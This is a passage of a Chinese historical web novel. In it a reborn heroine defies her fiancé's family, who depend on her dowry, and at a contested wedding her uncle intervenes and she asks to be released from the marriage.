她今日入宫当值,特意向皇后请安,以自己功劳恳请让姐姐楚念辞入宫侍奉。
皇后怜她忠心,本想封个常在,舜卿连忙说姐姐母亲是商户,不求荣耀高位,只求进宫,当个奴婢足矣,皇后虽惋惜,到底还是允了。
哈哈,余舜卿心中甚是得意,姐姐,你想进宫?
我成全你。
但想让我助你登上高位?
可别做美梦了。
她正暗自痛快,抬眼却见谢氏萎靡在椅中,连忙上前扶住:“母亲,您这是怎么了?”
“舜卿,”谢氏看见她如同抓住了救命稻草,“我知你忙,只是这头风发起来难受,还望你赶紧帮我制祛风丸,否则娘这一夜都睡不好。”
“娘,你放心,”余舜卿一挺胸脯,“媳妇马上做,保证您今晚一夜无梦。”
谢氏脸上浮现出欣慰之色,拍了拍她的手。
楚念辞带着团圆回到威瑞轩,院里堆满箱笼,有从各房收回的珍玩,还有她房中细软,把廊下挤得满满当当,一众仆妇正在收拾捆扎。
众人见她尽皆躬身行礼,楚念辞说了一堆安抚大家的话,便回房休息。
她舒舒服服泡了个澡,点了安神香,一觉睡到半夜,却被门外一阵争执吵醒。
是豆蔻声音,又急又利。
楚念辞迷迷糊糊睁开眼,团圆忙为她掖了掖被角。
“外头闹什么?”
“姑娘别操心,不相干的。”团圆递来一杯温热的牛乳,香气扑鼻。
这丫头总想把她喂胖些,却不知她是天生的瘦弱体质,怎么也养不圆润。
楚念辞刚抿了一小口牛乳,就听见红缨清脆的嗓音从院门处传来:“黑心烂肺的东西,姑娘身子不适,喝了药正歇着,你再敢乱嚷嚷,看我不打烂你的嘴!”
豆蔻急得满头大汗:“可、可夫人疼得受不住,让她去侍候……”
“呸!”红缨一口啐在她脸上,“府里不是有一个女大夫,找我家姑娘做什么?”
“她的药……喝了不管用。”
“哦?连女内医都治不好,我们姑娘能有什么法子?”红缨冷笑一声,“砰”地关上院门。
楚念辞靠在床头,轻啜着杯中温热的牛乳茶,只觉得今夜这茶,滋味格外香甜。
被红缨这一骂,这一夜再无人来打扰。
翌日,蔺景瑞刚回府,就见府内处处张灯结彩,红绸高挂。
门前车马不绝,皆是前来贺喜的宾客。
今日本是他成婚之日,理应休沐,但为显勤勉,他仍去宫中当值,直到此刻才归。
他捏了捏眉心,刚刚端起一杯芝麻擂茶,凑到嘴边。
母亲身边的田嬷嬷就慌慌张**了进来:“世子,不好了,老夫人头风发作,疼得昏过去了!”
蔺景瑞手中茶盏一晃:“母亲的风疾不是早就好了?”
他急忙起身,赶往春在堂,田嬷嬷跟在身后念叨:“本来调养得好好的,可昨日少夫人顶撞了几句,气得老夫人一夜没睡……”
楚念辞!
你竟敢如此忤逆母亲,把母亲气成这样,哪还有一点为人儿媳的样子。
看来自己前几日给了她好脸色,女人,就不该这么惯着。
一进门,蔺景瑞见母亲脸色蜡黄地躺在床上,眼睑处已经微微发黑。
余舜卿守在床边,眼下带着青黑,似是熬了一夜。
心疼的说不出话来。
见他来了,余舜卿忙起身,面带忧色:“头风本是顽疾,天寒易复发……”
“可母亲这半年已大有好转,”蔺景瑞打断她,伸手搭在母亲腕上……脉搏又虚又弱,确实是病发了。
他走到桌前,提笔就准备开方,却又顿住,转头问,“先前的方子呢?”
田嬷嬷连忙从妆台底下取出方子递给他。
“好方,君臣佐使,相配得当,用药大胆,对症下药,”他不由啧啧称赞道,“快点按方抓药。”
“这……”余舜卿面露难色,“已用了药方,可喝了不管用,还有一味祛风丸……不知如何配制。”
蔺景瑞心下一沉,转头看向田嬷嬷。
田嬷嬷目光躲
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闪,低声道:“以往都是……少夫人亲手配的药。”
“什么?”蔺景瑞俊眉微挑,露出难以置信的神色,“她会配药?”
余舜卿连忙挂上一丝微笑,以掩下心虚:“蔺郎,姐姐只略懂些皮**,这药方如此老到干练,肯定是她求人配的,那药丸也是她从江南带来的成药。”
“夫君,这风疾我也能治,但我的药效温和,药性缓慢,当务之急是拿到那祛风丸,才能为母亲解这燃眉之急啊。”
蔺景瑞看着母亲痛苦的模样。
脸色彻底阴沉下来。
他猛地起身,大步朝威瑞轩走去。
蔺景瑞怒气冲冲闯进内室时,楚念辞正对镜梳妆。
“楚念辞,”他一把掀开珠帘,“你竟敢拿母亲的病来要挟我!”
团圆和红缨听见这一声怒吼,吓得立刻挡在主子身前。
红缨更是抓起长簪直指他:“站住!再往前一步别怪我不客气!”
“放肆!”蔺景瑞气得浑身发颤。
这一刻他真恨自己**的是文医之路,若像父亲那般是武将出身,早一掌把这恶婢扇开了。
“退下。”楚念辞声音平静。
两个丫鬟警惕地退到两侧,目光仍紧锁着他。
蔺景瑞这才看清她。
她刚上妥面妆,花黄映着凤眸,金钗摇曳间眉间朱砂灼目,凤目眼尾弧度本该凌厉,却被浓密长睫柔化了锋芒,眸光流转时,竟让满室熠熠生辉。
一瞬间恍神,一瞬间的心跳。
但想到母亲病榻上的惨状,那点心动瞬间湮灭。
“昨夜母亲病重,你不闻不问,”他冷声质问,“这就是你的孝道?你可知舜卿守了一整夜!”
楚念辞唇角微讥:“我伺候了半年,她才守一夜,你却来斥责我,你好公道。”
“这……”蔺景瑞瓷白的脸,微微愣了一下,“真真可笑,这种事你也要与她攀比?江南乔家就教出你这等不孝之女?”
望着这张曾令她倾心的面容,楚念辞只觉讽刺至极。
前世她到底爱了个怎样的人?
每一句话都如此偏心。
也许,前世不曾真正看清他。
“我既如此不孝,”她抬眼,目光清凌如刀,“你何不休了我?”
蔺景瑞不可置信地瞪着她。
这真是他那个温顺柔婉,深情缱绻的未婚妻?
半年前,她送自己出行,曾经还是依依不舍的模样。
如今的她眉眼娇艳依旧,却仿佛换了魂骨。
自己真的要休了她?
不知为何,仅仅想到她要离开,心中就感到了微微抽痛。
蔺景瑞眯起眼,狠狠甩下一句:“休想,这辈子你别想离开我身边!”
第6章 借钱摆阔
说这句话的时候,蔺景瑞胸口像堵了一团火。
他本想好好商量,可一见她托着腮,漫不经心又油盐不进的样子,火气就直往上冒。
“留不留得住我,是你的本事,走不走得了,是我的手段,”楚念辞眼皮都没抬,依旧是托着腮,一副看热闹的样子,“有工夫在这儿跟我耍威风,不如赶紧去伺候你娘,那才是真孝顺。”
蔺景瑞气得眼前发黑。
他怎么也想不通,从前那个如海棠般温婉的未婚妻,怎么一夜之间变得浑身是刺的玫瑰。
想到母亲的病,强压怒火,蔺景瑞试图讲道理:“侍奉婆母是儿媳的本分,你把药断了,传出去像什么话?只要你把祛风丸送去,今晚我先宿在你这里,若你肚子争气,生下嫡长子……”
自己已经做出了巨大让步。
她该知足了。
楚念辞终于抬眼看他,嘴角轻嗤一声,然后勾起一抹似笑非笑的弧度:“你不必勉强自己,我受不起也不想要,舜卿不是已经开了药吗?你不去找她,总缠着我做什么?”
“她的药见效慢。”蔺景瑞耐着性子道。
“那就没办法了,早就说过了,缺少药材,无法配制。”楚念辞语气不咸不淡,拨弄着指甲上翡翠戒环。
“楚念辞!”蔺景瑞的耐心耗尽……
就在这时,门外传来急促的脚步声。
胡管家满头大汗,站在门口,直朝他挤眉弄眼道:“世子,老奴有事回禀。”
蔺景瑞正在气头上,怒道:“没规矩的东西,有话进来明说。”
胡管家只好进门,抹了把汗道:“粤皇楼的掌柜来催账呢,五十六桌上等席面,一共五千六百两银子,账上……账上现银支应不上了!”
“什么?”蔺景瑞一愣,随即不信地瞪大眼睛,“怎会如此,莫不是你这刁奴贪墨?”
“冤枉啊,”胡管家吓得扑通一声跪下,哭丧着脸:“世子明鉴啊!老爷和您的年俸拢共不到三百两,老爷夫人每日的药钱就要三两银子,府中上下几十口人吃穿用度、人情往来,每月少说上千两,这半年来,全靠、全靠……”
他说着,偷偷瞥了一眼旁边**不语的楚念辞。
“全靠什么?”
“全靠夫人拿的嫁妆银子贴着,才勉强维持啊,”胡管家一股脑倒了出来,“掌柜说了,今日不见现银,他就要撤席面……”
“够了!”蔺景瑞玉白的脸,青红交加。
他隐隐知道府中不宽裕,却从没想到已到了需要靠女人嫁妆度日的地步。
更让他难堪的是,这话当着下人的面被捅了出来。
他咬咬牙,转向楚念辞,语气理所当然:“府中一时周转不开,你先拿六千两银子出来应急。”
楚念辞湛亮的凤眼里没有惊讶,只余一片讥诮:“世子这是在向我‘借钱’?”
“周转一下,”蔺景瑞被她的眼神刺得烦躁,“利息照样给你。”
“好啊,”楚念辞挑唇一笑,乜着他笑道,“那便请世子打张借据过来,我即刻借你。”
只要有字据,到时候叫人拿着字据,天天到衙门口去催,不怕他不还。
“夫妻之间打什么借据!”蔺景瑞耳热漫上脸颊。
一想到摆席面这钱是从妻子的嫁妆里掏的,他就恨不得找地洞钻进去。
若是还要立字据,他这张脸往哪儿搁?
楚念辞目光清凌凌地直视着他:“没听说男子娶亲动用女方嫁妆的,再说你还要代兄娶妻,这笔钱还要我来出,世上可有这样的道理?”
“这……”蔺景瑞面更红了,“说了不过是暂时周转……”
“俗话说,亲兄弟明算账,”楚念辞打断他,语气骤然转冷,“若不打借据,我一文没有。”
话说得斩钉截铁,不留丝毫余地。
“楚念辞,”蔺景瑞恼羞成怒,“你怎如此不通情理?亏我还以为你是大家闺秀,没想到你还是如商贾般算计。”
“既如此,你何必向商贾开口,没钱就别摆阔,你要么撤了宴席,要么赶紧筹钱去,别在我这儿丢人现眼,”楚念辞板起脸,淡淡道,“红缨,送客。”
红缨立刻上前,虎着脸道:“世子请回。”
蔺景瑞已气到浑身哆嗦。
伸手想拉她,却被红缨一肘击中肋下,疼得脸色发白,扶着桌子直哆嗦:“贱婢……你竟敢冲撞主子,明日就把你发卖出去!”
红缨梗着脖子顶回去:“等你成了我的主子,再来和我摆威风不迟!”
“放肆!”蔺景瑞高声怒喝,“来人,把这贱婢拖下去杖责!”
他喊得响亮,却只惊飞了窗边几只麻雀。
院子里的婆子、小厮各自忙活,仿佛根本没听见。
“你……你们……好,好得很!”蔺景瑞气得脸色由红转青,却只能无能狂怒地挥舞胳膊。
“世子,”楚念辞一指门口,不咸不淡道,“我的丫鬟,还轮不到你来处置。”
蔺景瑞脸色铁青道:“好言相劝你不听,那就好自为之!”
看来母亲说得对。
只有成婚之后才能让她老实。
本想今夜先与她圆房,既然她这么不知好歹,自己也无须再留情面。
“今晚你把威瑞轩让出来,我和舜卿要在这儿圆房。”说罢拂袖而去,绷着脸冲出了威瑞轩。
胡管家连忙跟着,这钱到底怎么办?
红缨气得直跺脚:“难道真要嫁给这种人?大舅怎的还不过来。”
她急得眼泪都掉了下来,白皙的瓜子脸抹得一道一道的,像只小花猫。
姑娘受委屈比她自己受了气还难受。
“傻丫头,”楚念辞伸手刮了刮她哭花的脸,“即便最后真的嫁他,我也不会让他近身。”
楚念辞平静道,“就像他说的,往后井水不犯河水。”
婚礼的仪式不到一个时辰,午后拜堂,黄昏宴客,必须打起十二分精神,等儿还有一场硬仗要打。
“姑娘放心,”听她这么说,红缨悬着的心终于落到了地上,她擦干眼泪,强挤出一丝笑容,“不管能不能离开,从此他别想再用咱们一分一毫。”
“这才是我的丫头,”楚念辞含笑点头,“蔺景藩也快醒了,记得丢点水进去,别让他渴**,晚上他可是新郎,这屋子让给他们一家三口团圆。”
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团圆先往嘴里塞了块糕点,又拿块准备塞给楚念辞,蓦然听见“一家三口”这话,差点噎住,抚着胸口一阵猛咳。
红缨看着她嘴巴鼓鼓、一动一动地摸着胸口,像个贪吃小松鼠似的,终于忍不住破涕为笑,转身便去安排了。
见红缨去安排了,楚念辞转头对团圆道:“把匣子里那大银票拿出来。”
团圆利落地取出银票,拆开一件内衣的衬里,仔细将银票缝进夹层,再服侍楚念辞穿上。
“这样就算待会儿场面再乱,也丢不了。”楚念辞轻抚衣襟,目光沉静。
这是母亲留给她的压箱底,是她最后的依仗,绝不能有闪失。
“叮嘱咱们的人,看准时机,有机会就立刻撤。”
除了两个贴身丫鬟和几位嬷嬷,她还带来了几十个得力家丁,如今,是时候带着她的人和嫁妆,彻底离开这个牢笼了。
蔺景瑞气冲冲跑着回到了寿安堂。
一进门,浓重的药味扑面而来。
满地碎瓷还没收拾干净,老伯爷像困兽一样在屋里踱步,母亲谢氏脸色灰败地靠在床头,田嬷嬷正用小勺给她喂水。
“怎么样?药拿来了吗?”老伯爷一见儿子,立刻迎上来。
蔺景瑞避开父亲期待的目光,走到母亲床前,看着母亲一夜之间憔悴苍老的脸,心头又是心疼又是愤恨。
他哑着嗓子,把方才在威瑞轩的事情说了一遍。
“真是翻了天了!”老伯爷听完,一拳捶在桌上,“我伯府竟要受一个商贾之女的挟制!”
谢氏也气得胸口起伏,喘息不说话。
“母亲,现在怎么办?宴席的钱……”蔺景瑞又急又愧。
谢氏闭了闭眼。
她推开田嬷嬷的勺子,强撑着坐直身体,声音虚弱却清晰:“去……去把舜卿那套金项圈和翡翠头面,拿去当了,估摸着能值五六千两,先把眼前的难关过了。”
那是余舜卿压箱底的嫁妆之一。
蔺景瑞愣了一下:“可那是舜卿的……”
“没事,”谢氏打断他,眼里闪过一丝算计,“舜卿素来懂事,等过了今天……拿楚念辞的嫁妆贴补给她。”
老伯爷也阴着脸点头:“先把人娶进来,拜了堂,她就是咱们蔺家名正言顺的媳妇,到时候,她的嫁妆,还不都是府里的,来日叫她十倍百倍地吐出来!”
蔺景瑞听着父母的话,心中虽然觉得用女方的嫁妆。
实在是有点丢人。
但想起刚才的**,没有出口反驳。
也许没了嫁妆,她就慢慢失掉棱角。
才能重新变回那个知书达理的样子。
谢氏已经让田嬷嬷取来了那盒“神仙玉女粉”,正对着铜镜,一点一点将惨白的脸色掩盖下去,重新勾勒出端丽主母的轮廓。
脸上光鲜了,可那双眼睛还是浑浊灰暗,毫无神采。
“景瑞,”谢氏疲惫地缓缓道,“你去前厅招呼客人,婚事照常,一切等今晚之后再说。”
蔺景瑞重重地点了点头,握紧了拳头。
楚念辞,你就趁着现在还能得意就张狂吧。
等今晚一过,看你还不向我低头。
第7章 大婚日,乔大舅扛扁怒斥薄情郎。
日头已经偏西。
楚念辞换上大红嫁衣。
她手执却扇半掩面容,黛眉如墨,雪肤映着眉心那点朱砂,清艳逼人。
团圆扶着她的胳膊,红缨在后面拎着长长的裙摆,楚念辞缓缓走出威瑞轩,没有回头,那灵动的眸子此刻沉静如寒潭,不见半分新嫁娘的羞怯与期盼,唯有一片斩断过往的决然。
前世的十年辛酸历历在目,如今再次走向喜堂,尽管心中五味杂陈,她步履沉稳,每一步坚定地踩碎过往的幻影。
楚念辞抬眼望去。
喜堂内,满目刺目的红色。
公婆与媒人罗大人端坐主位,亲朋宾客分列两旁,所有人的目光都聚了过来。
冬日的暖阳里,蔺景瑞一身大红喜袍,依旧是记忆中那副意气风发的模样,而紧挨在他身侧的,是同样一身正红嫁衣、头戴凤冠的楚舜卿。
楚舜卿今日妆容华丽,头上堆满翠凤冠,一袭繁复厚重的满绣喜字大红袍,云肩上满满祥云花纹,裙子上的堆绣万字花绵延重叠。
她杏仁眼眼尾刻意拉长上挑,显得英气逼人,只是为掩盖她偏深的肤色,脂粉涂得略厚,艳丽之余,反倒透出一丝刻意与僵硬。
好在她精神饱满,挺直背脊站在那里,气势倒也不弱。
而楚念辞……
她并未穿那身厚重繁琐喜服。
只着一袭正红色锦袍逶迡及地,只在裙角绣了几只蝴蝶,随着她步履摇曳,那些蝴蝶仿佛飞舞起来,墨发简单绾成飞仙髻,只簪一支凤衔珠步摇,流苏轻晃,恰好映着眉心那点殷红的朱砂痣。
她凤眸微扬,眼尾天然一段风流,肌肤胜雪,仅施薄薄一层胭脂。
阳光洒在她身上,那份从容明艳,竟生生压过了满堂的喜庆颜色。
被她这般一衬,楚舜卿那身精心打扮,反倒显出一种“厚重僵硬”的局促,贵重华裳里透出一股俗气。
蔺景瑞眼中升起惊艳之色。
知道楚念辞容色惊人,但没想到,只是略略装扮。
就让满堂的衣香鬓云失去了颜色。
楚舜卿喜袍下的手,指甲狠狠掐进了掌心。
堂中已响起隐约的吸气声,无数道视线黏在楚念辞身上,赞叹、惊讶、好奇、倾慕皆有之。
就在即将踏上喜堂台阶时,楚念辞脚步忽然一顿,轻声开口:“停下。”
团圆与红缨立刻止步,两人紧张地攥住了衣饰。
即便姑娘早有安排,即便姑娘再三保证……
即便她们坚信姑娘已做了什么安排,坚信她绝不会真嫁。
可是事情已经到了这个地步。
两个丫鬟紧张的心还是提到了嗓子眼。
一旁的官媒,胖乎乎的喜嬷嬷见她停下,忙堆着笑上前道:“姑娘快请,按规矩该您先拜堂,世子再迎娶嫂夫人。”
“不必,”楚念辞唇角微扬,“让他们先吧。”
喜嬷嬷愣住了:“这…这不合规矩啊!”
谁先拜堂谁便是正宾,新娘子竟主动相让?
满堂宾客顿时窃窃私语,谁都以为新妇必定要争这个先后,没想到她竟这般退让。
楚念辞静静地立在喜堂门前,团扇后的眸光清冷如雪,脊背挺直如竹,不见半分勉强。
“装模作样。”楚舜卿低嗤一声,满脸鄙夷。
姐姐惯会这般矫情作态,明明在意得要命,偏要当众摆出大度的样子。
蔺景瑞冷冷地看向楚念辞,方才因她容貌而生出的那点沾沾自喜,此刻已消散殆尽。
楚念辞亦迎上他的目光,绝美的脸上竟掠过一丝极淡的不屑冷笑。
见她脸上露出讥讽的笑,一股火气直冲上蔺景瑞的胸口,沉默片刻,他转身便向楚舜卿走去。
楚舜卿得意地扬起雪白下巴,脚步轻快地迎上前。
今日,她这个曾被人轻视的外室女,终于能堂堂正正穿上大红嫁衣,扬眉吐气地嫁给了他的心上人,将昔日的那个嫡女,狠狠地踩在了脚下。
而且她已抢先一步,怀上蔺家的骨肉……
这事她一直瞒着,打算待会儿洞房时再给丈夫一个惊喜。
蔺景瑞走到她面前,刻意放柔了目光,语气温柔缱绻比喜烛还暖:“舜卿,从今往后,我们朝夕相伴,永不分离。”
“好。”楚舜卿在团扇后嫣然一笑,不忘又朝楚念辞投去得意的一瞥,满心欢喜几乎要满溢出来,他牵起她的手,在众人注视下一步步走向张灯结彩的喜堂中央。
司仪高声唱礼:“一拜天地,二拜高堂,夫妻对拜……”
楚念辞静静地立在堂外,宛若看一场与己无关的笑话。
她不是谦让,而是根本不屑了。
她已做好了随时离开的打算。
等楚舜卿他们拜完堂,终于轮到楚念辞了。
蔺景瑞憋着刚才的气,故意站在堂上不动,冷着脸等她自个儿走过来。
可楚念辞竟也一步不迈,就在原地站着。
喜乐反复奏了三遍,她依然纹丝不动。
蔺景瑞站在喜堂中央,脸色越来越黑,高声喝道:“难道还要我亲自下去迎你不成?”
楚舜卿在一旁轻轻嗤笑。
刚才让她先拜堂她不肯,现在可不是自取其辱吗?
楚念辞静静地立在堂外,面容平静,看不出喜怒。
就在蔺景瑞耐心告罄,想要让人把她拉上来之际……
堂外突然炸开一声怒斥,一个洪亮的声音伴随着急促的脚步声闯了进来:
“丧尽天良的东西,男子薄情寡义不稀奇,可这兼祧两房的荒唐事,老夫倒是头回见,伯府既与我家早有婚约,念辞无孕前不可娶二房,今日竟敢公然毁约背信,正当我们乔楚两家没人了……”
楚念辞轻轻舒了口气……
她的大舅父乔兆龄,总算赶到了。
乔大舅拎着袍角,跑得气喘吁吁。
他年约四十,国字脸,五官端正,身材高大,因常年在外奔波,皮肤晒得黝黑。
他昨日出城办事,今早一回府就得知消息,连早饭都没吃便急匆
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匆赶来,只因住得远,险些误了时辰。
京中楚念辞的娘家,只有乔家这一支。
乔家虽是商贾,却是江南巨富。
当年妹妹乔晏殊出嫁,三个哥哥各备了百万嫁妆,如今外甥女出嫁,他们同样出钱出力……
乔兆龄半年前就陪着外甥女进京,足足等了半年,就为亲眼看着外甥女风风光光出嫁。
可蔺家倒好,竟瞒着他这个舅父,他一打听,蔺景瑞竟背着自己,玩什么“兼祧两房”的把戏。
舅父为大,这等大事却不通知,分明就是想先斩后奏,不把自己放在眼里。
乔大舅气的胡子直颤,也顾不上满堂宾客,众目睽睽之下,抬手一挥……
几名乔家仆人应声而入,将一块沉甸甸的金匾“咚”的一声放在地上。
一块御赐的“天下表率”金匾,在日头下熠熠生辉。
三年前江南水患、塞北战事吃紧,朝廷粮饷短缺,正是乔兆龄毅然捐出近半身家、九百万两白银,解了朝廷燃眉之急。
陛下特赐此匾,以彰其功。
方才在伯府门口,若非亮出这块御匾,门房险些不让他进来!
乔兆龄指着蔺景瑞的鼻子,声如洪钟地臭骂:“欺人太甚,什么肩祧两房,分明就是停妻再娶,今日若不给老夫一个交代,我便扛着这御匾,去敲登闻鼓,只要我活着一日,绝不容你们这般欺负念辞!”
喜堂里瞬间安静下来。
乔大舅那一声怒喝,让所有窃窃私语都停了。
宾客们全都伸长脖子,等着看这场热闹。
主座上,老伯爷蔺北城板着脸喝茶,只当没听见,谢氏脸色苍白,不时咳几声,垂着眼拨弄念珠,神色冷淡,蔺景行、蔺景珏撇了撇嘴,跟个商贾在喜堂上吵,实在丢份儿。
竟然没有一个人愿意出来接这个茬。
一片尴尬的寂静中,媒人罗世龙站了起来。
这位京兆尹大人今日是大媒,他脸上堆起惯常的圆融笑容,朝乔大舅拱了拱手:“乔义士,何至于此?今日终究是蔺楚两家大喜的日子,有话好说嘛。”
他声音温和,一边打着圆场时,一边让旁边的人赶紧搬凳上茶,“您先消消气,坐下慢慢讲,两家既结了亲,万事以和为贵。”
宾客们见罗大人出面,也纷纷附和:“是啊乔老爷,您先坐。”
“快看座!”
胡管家赶紧让人搬来椅子,放在喜堂左侧。
乔大舅腰板挺得笔直:“我外甥女还没座呢!”
直到下人又添了把椅子,他才拉着楚念辞一同坐下。
这架势谁都看明白了……今日这舅父,就是来给外甥女撑腰的。
“天底下没这个理儿!”乔大舅一坐下,冷飕飕的目光就钉在蔺景瑞脸上,“成亲不请舅父,兼祧两房不告娘家,你们蔺家是当楚家没人了?”
“念辞这半年侍奉公婆、贴补家用、打理家务,里里外外操持得妥妥当当,到头来就落得这么个下场?真是岂有此理!”
第8章 休妻、和离,我都不同意。
蔺景瑞刚见乔大舅时还有些慌乱心虚,但转瞬已镇定下来。
自己慌张什么呀,为兄长娶妻这事儿,又没有违反大夏律条。
想到这儿,他朝乔兆龄微微欠身,语气不卑不亢:“大舅息怒,昨日确曾派人去府上相请,恰逢您外出办货,这也是两不凑巧,既然您今日来了,正好当面锣对面鼓地把话说开。”
说着,他从袖中取出一卷锦帛,双手递给罗世龙大人:“这是当年两家的婚书,请罗大人与诸位过目,晚辈若有违约,任凭处置。”
罗世龙接过婚书,徐徐展开。
堂内静得能听见呼吸声,众宾客都竖起了耳朵细听。
罗世龙清了清嗓子,朗声诵读:“……一纸婚书,上告天地,下禀宗亲……缔结良缘,永不相负……”
念到名字这关键处,罗世龙声音几不可察地顿了一下,他抬眼飞快扫过蔺景瑞平静的脸,又迅速垂下目光。
“如何?”蔺景瑞待他念罢,从容问道,“婚约白纸黑字,可有禁止晚辈行兼祧之义?亡兄早逝,膝下无子,我为续其血脉而娶,合情合理合法,何错之有?”
满堂宾客听了,有人点头,有人神色微妙,婚书上确实没写不能兼祧,这话听着……似乎挑不出大错。
只是,谁都知道,没通过娘家就强行合婚,这事对楚家有点不公道。
乔大舅猛地一拍椅子扶手,冷斥道:“婚书上没写,不代表你能做,当初你提亲的时候,说好了,不纳二色,我们信你蔺景瑞是个君子,没想到你竟钻这种空子,若真心为你兄长着想,为何不从族中过继子嗣,偏要再娶新妇?你这分明是借亡兄之名,行停妻再娶之实,打量谁是傻子,看不明白你这奸诈伎俩?”
他气得胡子直颤,手指也毫不客气的,一直频频点着蔺景瑞的鼻子:“今日你若不给个交代,老夫就扛着陛下亲赐的金匾,去敲登闻鼓,我治不了你,陛下总能给我主持公道。”
这话掷地有声,堂内顿时又响起一片议论声。
谁不知道乔家曾捐巨资解朝廷之急,那块御匾就是护身符。
真要闹到御前,蔺家脸上也无光。
蔺景瑞脸色微沉,又从袖中取出另一卷明黄绢帛,双手捧给罗世龙:“大舅既提到陛下,定会尊重王法,晚辈已请得皇后娘娘懿旨,兼祧之事,晚辈早已禀明宫中,娘娘体恤我兄长早亡、香火无继,特准此婚。”
罗世龙神色一凛,急忙整理衣袍下跪,恭敬接过懿旨,然后起身,徐徐展开,高声宣读。
满堂宾客齐刷刷跪了一地,楚念辞与乔兆龄对视一眼,也依礼跪下,低头听宣。
懿旨念罢,堂内鸦雀无声。
方才还窃窃私语的宾客们个个屏息垂目。
皇后都点头了,谁还敢多说半个字?
原本几个心里替楚念辞抱不平的官眷,此刻也只能暗自摇头。
商贾之家再富,终究抵不过天家一句话。
蔺景瑞环视四周,见无人再敢出声,嘴角几不可察地微微一勾。
楚念辞也跪在地上,仔细地听着他读皇后的懿旨。
等他读完,蔺景瑞又拿出加盖了一份官府印章正式婚约递过去。
罗世龙大人接过又当众读了一遍。
当听到罗世龙大人,读到蔺景瑞上报给官家的自己名字是“念君”时,嘴角几不可擦的露出了一丝讥讽的微笑。
他果然还是如前世一样薄情寡义,居然还是连自己的名字,都不曾上报。
还是用了自己的小字。
这反而给了自己可乘之机,殊不知楚念辞等的就是这个谬误。
因为楚舜卿跑去向皇后求恩旨,一定会说自己的大名。
若是让皇后知道是自己弟媳要进宫。
她是绝对不会同意的。
蔺景瑞转过身看向楚念辞,软了声音劝道:“念辞,你别再闹了,起来吧,别让这么多宾客看笑话。”
乔大舅气得浑身直抖,正要反唇相讥,却见楚念辞已盈盈站了起来。
她没去扶蔺景瑞伸过来的手,而是先搀起了身边的舅舅。
楚念辞就那么静静地站着。
一双凤眼清凌凌地扫过蔺景瑞,眸光湛湛,里头没有愤怒,没有委屈,甚至连害怕都没有,只有一片深不见底的平静。
“皇后娘娘的旨意,我不敢违抗,”她开口,声音不大,“只是我也有一件事,想请世子,还有各位长辈成全。”
蔺景瑞眉头皱了起来:“你说。”
楚念辞抬起眼,目光直直地看进他眼里:“请世子给我一封放妻书,放我回江南去,这辈子再不踏进京城半步。”
明知不可为她还想试一试。
“嚯……”整个喜堂像炸了锅。
谁都没想到,这楚家新妇一开口竟然是要和离!
官家女眷们面面相觑,都觉得这姑娘是不是疯了。
一个女子要是和离了,往后还能找到什么好人家?
“荒唐!”老伯爷蔺北城终于忍不住,把茶盏重重一放,“婚姻大事,岂容如此儿戏?”
谢氏阴沉着灰败的面孔,声音虚弱却带着冷硬:“像什么样子?”
楚念辞像是根本没听见他们的斥责。
她只看着蔺景瑞,又问了一遍:“世子愿不愿意成全?”
蔺景瑞被她那平静的可怕的眼神看得心里有点发慌。
“你别赌气了……先把婚事办了,以后我肯定不会亏待你……”
“不会亏待?”楚念辞嘴角浮起一丝极淡的冷笑,“世子别说以后了,就看看眼前,这半年,就贴进来八千多两银子,结果呢?等来的是和妹妹共侍一夫,你还让我等‘以后’?”
堂上宾客里响起一片倒抽冷气的声音。
好几个原本觉得楚念辞不懂事的官家夫人,这会儿脸色都变了。
还没嫁进来就贴了这么多钱?
这伯府哪里是娶媳妇,分明是搂了个钱袋子。
伯府虽然是新贵,却愿娶商户女为妻,原来打的是这个主意。
众人看向楚念辞的目光里,不由多了几分同情。
蔺景瑞脸上红一阵白一阵,话都说不出来。
“姐姐,”一直在旁边冷眼瞧着的余舜卿忽然讥诮道,“离开伯府,以你商贾之女的身份,就算入宫,我看也谋不到什么好前程。”
乔大舅一听
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她张口闭口“商贾之女”,火气“噌”的就上来了:“商贾怎么了?商贾总比你……”
“舅父,”楚念辞轻轻拦住他的话头,没让他继续说下去。
毕竟她的外室女身世要是真当众捅破了,对母家也不利。
楚念辞忽然笑了。
那笑容绽放在她绝美的脸上,笑意却半点没进到眼睛里。
“我原以为妹妹出仕为官,长了见识,”她语气如冰,“没想到,想法还是这么狭隘,谁告诉你,女子必须靠着夫君活了?”
楚舜卿瞪大了眼睛。
女子……怎么能不靠夫君活着。
“娘,她真是疯了,简直就是胡言乱语,丢人现眼,赶她走算了,”蔺景珏在一旁插嘴,“吓唬谁呢,好像离了她,咱们伯府就活不下去似的。”
谢氏捂着胸口,轻轻咳了一声。
“既然铁了心要走,那咱就说清楚,”她脸上换上一副痛心又失望的表情,“念辞,你摸着良心说,自打你进了蔺家这半年,我可曾蹉磨过你?”
楚念辞迎着她的目光,缓缓摇头:“没有。”
“这就对了,”谢氏悠悠地叹了口气,“可你呢?嫉妒舜卿进门,停了婆母救命药,七出之条犯了两条,今日就算休了你,也合情合理……”
乔大舅立即截断她的话头:“慢着,你才该摸着良心,这半年她是怎么伺候你的,有眼睛都看得见,少在这儿乱扣帽子!”
谢氏冷笑一声:“没错,我原先也以为她是个孝顺懂事的好孩子,可你看看她现在什么样?”
楚念辞看向谢氏,语气里满是讥讽:“若是休我出门,那我的嫁妆,如何处置?”
她是故意这么问的。
就是想让大家看看谢氏真实的嘴脸。
果然,谢氏清了清嗓子道:“被休出门的,按律法,嫁妆得全部扣下,一文钱都不能带走,念在你伺候了我半年的情分上,我只扣九成,剩下那一成,就当是给你回江南的路费了。”
只扣九成?
她还真是敢说!
喜堂下面一片哗然。
不少世家夫人都看不下去,脸上都露出了鄙夷的神色。
这伯府的吃相,也太难看了点。
这不明摆着要贪墨媳妇的嫁妆吗?
“鲜廉寡耻,无耻之尤!”乔大舅气得胡子都翘起来了,“做人不要脸到这种地步,世所罕见!”
他转向蔺景瑞问:“蔺景瑞,贪墨未婚妻嫁妆,你还是不是男人?”
蔺景瑞站在喜堂门口,脸皮紫胀。
母亲说的话,让他丢尽了颜面。
可是他不能当众反驳自己的母亲。
“谁说要休了她!”蔺景瑞深吸一口气,终于开口。
他脸上没什么表情,声音冷如坚冰,“无论是休妻,还是和离,我都不同意,楚念辞既然已经进了我蔺家的门,就别想再出去。”
顿了顿,他声音不高,却斩钉截铁,“她生是我的人,死是我的鬼,就算**,也得埋进我蔺家的祖坟!”
“来人……”他猛地提高声音,不容置疑地命令左右仆从,“把她给我拖过来,不管她愿不愿意,立刻拜堂!”
第9章 赐封官女子
二、三十名膀大腰圆的伯府侍卫哗啦围了上来,将去路堵得水泄不通。
